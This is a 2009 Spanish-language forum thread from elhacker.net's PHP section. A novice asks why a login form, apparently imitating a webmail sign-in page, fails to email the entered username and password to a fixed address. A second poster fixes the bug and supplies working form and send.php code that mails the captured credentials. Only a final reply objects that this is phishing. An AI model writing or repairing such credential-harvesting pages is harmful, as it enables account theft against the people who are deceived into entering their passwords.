Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: 3dw1n en 9 Septiembre 2009, 02:18 am



Título: Ayuda envio formulario php!
Publicado por: 3dw1n en 9 Septiembre 2009, 02:18 am
Necesito ayuda deseo hacer envio de datos al correo electronico, las variables nunca se envian con los datos que cargo en los input quisiera que me ayudaran estoy novato en php, no se si se crean 2 paginas una html y php o en una sola php se puede hacer eso ayudenme a ver donde tengo el error

este es el code:

Citar
<html>
<head>
<meta>
<title>Untitled Document</title>
</head>
<body>
<form name='formulario' id='formulario' method='post' action='formsolo.php' target='_self'>

 <tr><td valign="top" class="css0059" align="right"><label for="i0116">Dirección de correo electrónico:</label></td><td valign="top" class="css0093">
<p><input name="usuario" id="usuario" type="text" maxlength="113" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p>
  <tr><td valign="top" class="css0059" align="right"><label for="i0118">Contraseña:</label></td><td valign="top" class="css0093">

  <p><input name="clave" type="password" maxlength="16" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p>
<input name='submit' type="submit" value="    Iniciar sesión    " class="css0088"  />
</form>


<?php

   $to = "corrreo@dominio.com";
   $subject = "Probando envio datos"; 
   $usuario = "Usuario: " . $_POST['usuario'] . "\n";
   $clave = "Clave: " . $_POST['clave'] . "\n";
 
   mail($to, $subject, $usuario, $clave);
   
?>
</body>
</html>

actualemte estoy usando este servidor gratuito el cual me da email para hacer las pruebas. espero su ayuda gracias!!  ;D


Título: Re: Ayuda envio formulario php!
Publicado por: Og. en 21 Septiembre 2009, 07:08 am
no se envia ningun dato por que primero envias el e-mail y despues le muestras el formulario al usuario :P
lo "correcto" seria:

Código
  1. <html>
  2.  <head>
  3.    <meta>
  4.    <title>Untitled Document</title>
  5.  </head>
  6.  <body>
  7.    <form name='formulario' id='formulario' method='post' action='send.php' >
  8.      <table>
  9.        <tr>
  10.          <td valign="top" class="css0059" align="right"><label for="i0116">Dirección de correo electrónico:</label></td>
  11.          <td valign="top" class="css0093"><p><input name="usuario" id="usuario" type="text" maxlength="113" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p></td>
  12.        <tr>
  13.          <td valign="top" class="css0059" align="right"><label for="i0118">Contraseña:</label></td>
  14.          <td valign="top" class="css0093"><p><input name="clave" type="password" maxlength="16" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p><input name='submit' type="submit" value="    Iniciar sesión    " class="css0088"  /></td>
  15.        </tr>
  16.      </table>
  17.    </form>
  18.  </body>
  19. </html>

send.php

Código
  1. <?php
  2.  if($_POST['usuario']!=NULL and $_POST['clave']!=NULL)
  3.    {
  4.    $to = "corrreo@dominio.com";
  5.    $subject = "Probando envio datos";
  6.    $usuario = "Usuario: " . $_POST['usuario'] . "\n";
  7.    $clave = "Clave: " . $_POST['clave'] . "\n";
  8.    mail($to, $subject, $usuario, $clave);
  9.    } else {
  10.    // aqui hiria lo que pasa si no se especifica nombre de usuacio o clave ¬¬
  11.    }
  12. ?>



Saludos!


Título: Re: Ayuda envio formulario php!
Publicado por: jdc en 21 Septiembre 2009, 07:34 am
no deberían ayudar a gente a hacer phishing incluso esta en las normas no?